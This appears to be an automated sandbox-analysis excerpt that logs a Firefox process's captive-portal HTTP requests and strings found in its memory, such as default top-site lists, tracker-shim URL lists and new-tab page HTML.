Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN 'www.' \|\| :strippedURL AND 'www.' \|\| :strippedURL \|\| X'FFFF'Show notifications with multiple treatment options to Windows 10+ users who have not used Firefox for a long time and are background updated to a newer Firefox 113+.[{incognito:null, tabId:null, types:["image"], urls:["https://smartblock.firefox.etp/facebook.svg", "https://smartblock.firefox.etp/play.svg"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC12A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://cdn.cmp.advertising.com/firefox-etp://pubads.g.doubleclick.net/gampad/xml_vmap2://www.facebook.com/platform/impression.phphttps://ads.stickyadstv.com/firefox-etp://.adsafeprotected.com//Serving/://.adsafeprotected.com//unit/://.adsafeprotected.com/jload?*://.adsafeprotected.com/services/pub*://trends.google.com/trends/embedcolor-mix(in srgb, currentColor 9%, transparent)://securepubads.g.doubleclick.net/gampad/ad*://pubads.g.doubleclick.net/gampad/ad*@mozilla.org/addons/content-policy;1 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://securepubads.g.doubleclick.net/gampad/adwebcompat@mozilla.org.412316860420://.adsafeprotected.com//Serving/"://pubads.g.doubleclick.net/gampad/ad-blk"://.adsafeprotected.com//unit/"://vast.adsafeprotected.com/vast"://pubads.g.doubleclick.net/gampad/xml_vmap2"://pubads.g.doubleclick.net/gampad/ad"://www.facebook.com/platform/impression.php://.adsafeprotected.com/jload?"://securepubads.g.doubleclick.net/gampad/ad""://ads.stickyadstv.com/user-matching"://track.adform.net/Serving/TrackPoint/://pubads.g.doubleclick.net/gampad/ad-blk"://.adsafeprotected.com/.gif"://pubads.g.doubleclick.net/gampad/adhttps://ads.stickyadstv.com/firefox-etp://ads.stickyadstv.com/user-matching"://www.facebook.com/platform/impression.php"://.adsafeprotected.com/services/pub://track.adform.net/Serving/TrackPoint/://pubads.g.doubleclick.net/gampad/ad-blk"://.adsafeprotected.com//adj""://.adsafeprotected.com//Serving/"://pixel.advertising.com/firefox-etp://pubads.g.doubleclick.net/gampad/xml_vmap2"://.adsafeprotected.com//imp/""://.adsafeprotected.com/jsvid""://.adsafeprotected.com/jload?""://.adsafeprotected.com/services/pub""://.adsafeprotected.com/.js""://.adsafeprotected.com/jload""://.adsafeprotected.com/tpl?"webcompat@mozilla.org.412316860420://pubads.g.doubleclick.net/gampad/xml_vmap1://vast.adsafeprotected.com/vast"://.adsafeprotected.com//unit/"://www.facebook.com/platform/impression.phphttps://ads.stickyadstv.com/firefox-etp://.adsafeprotected.com//Serving/://.adsafeprotected.com//unit/://.adsafeprotected.com/jload?"://.adsafeprotected.com/jsvid?"://pubads.g.doubleclick.net/gampad/ad*://.adsafeprotected.com/jsvid?*://cdn.cmp.advertising.com/firefox-etp://securepubads.g.doubleclick.net/gampad/ad://ads.stickyadstv.com/auto-user-sync://ads.stickyadstv.com/user-matching://.adsafeprotected.com//imp/://.adsafeprotected.com/services/pubwebcompat@mozilla.org.412316860420"://track.adform.net/Serving/TrackPoint/""://pubads.g.doubleclick.net/gampad/ad-blk""://pubads.g.doubleclick.net/gampad/ad""://ads.stickyadstv.com/user-matching""://.adsafeprotected.com/.gif""://.adsafeprotected.com/.png""://www.facebook.com/platform/impression.php""://.adsafeprotected.com/.js""://cdn.cmp.advertising.com/firefox-etp""://vast.adsafeprotected.com/vast""://securepubads.g.doubleclick.net/gampad/ad""://pixel.advertising.com/firefox-etp""https://ads.stickyadstv.com/firefox-etp""://.adsafeprotected.com//adj""://.adsafeprotected.com//imp/""://.adsafeprotected.com//Serving/""://ads.stickyadstv.com/auto-user-sync""://.adsafeprotected.com//unit/""://.adsafeprotected.com/jload""://.adsafeprotected.com/jload?*" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC129E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2431029489.0000018FC0D91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2517143514.0000018FC7B14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2431029489.0000018FC0D91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2517143514.0000018FC7B14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Got invalid request to save JSON databrowser.urlbar.dnsResolveFullyQualifiedNames^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$resource://devtools/server/devtools-server.jsDevTools telemetry entry point failed: Failed to listen. Callback argument missing.Failed to listen. Listener already attached.devtools.debugger.remote-websocket@mozilla.org/uriloader/handler-service;1browser.fixup.domainsuffixwhitelist.JSON Viewer's onSave failed in startPersistenceget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools.performance.popup.feature-flagdevtools/client/framework/devtoolsdevtools/client/framework/devtools-browserUnable to start devtools server on devtools.performance.recording.ui-base-urlresource://devtools/shared/security/socket.js@mozilla.org/dom/slow-script-debug;1Failed to execute WebChannel callback:DevToolsStartup.jsm:handleDebuggerFlagNo callback set for this channel.releaseDistinctSystemPrincipalLoader@mozilla.org/network/protocol;1?name=default@mozilla.org/network/protocol;1?name=filebrowser.fixup.dns_first_for_single_words^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)WebChannel/this._originCheckCallbackresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/JSONFile.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/FileUtils.sys.mjs@mozilla.org/uriloader/local-handler-app;1http://www.inbox.lv/rfc2368/?value=%s{33d75835-722f-42c0-89cc-44f328e56a86}@mozilla.org/uriloader/dbus-handler-app;1get FIXUP_FLAG_FORCE_ALTERNATE_URICan't invoke URIFixup in the content processhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/NetUtil.sys.mjs@mozilla.org/network/file-input-stream;1resource://gre/modules/ExtHandlerService.sys.mjsgecko.handlerService.defaultHandlersVersionhttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sisDownloadsImprovementsAlreadyMigrated_injectDefaultProtocolHandlersIfNeededhttps://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/uriloader/web-handler-app;1extractScheme/fixupChangedProtocol<resource://gre/modules/DeferredTask.sys.mjs_finalizeInternal/this._finalizePromise<resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/URIFixup.sys.mjshttp://poczta.interia.pl/mh/?mailto=%sScheme should be either http or httpshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/async-stream-copier;1@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1Non-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yandex.ru/compose?mailto=%s@mozilla.org/scriptableinputstream;1https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%sFirst argument should be an nsIInputStreampdfjs.previousHandler.preferredActionpdfjs.previousHandler.alwaysAskBeforeHandling@mo
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2397825239.0000018FBC744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001E.00000002.2397825239.0000018FBC744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2431029489.0000018FC0D91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/g/;? equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2431029489.0000018FC0D91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2534665912.00002A46B3800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
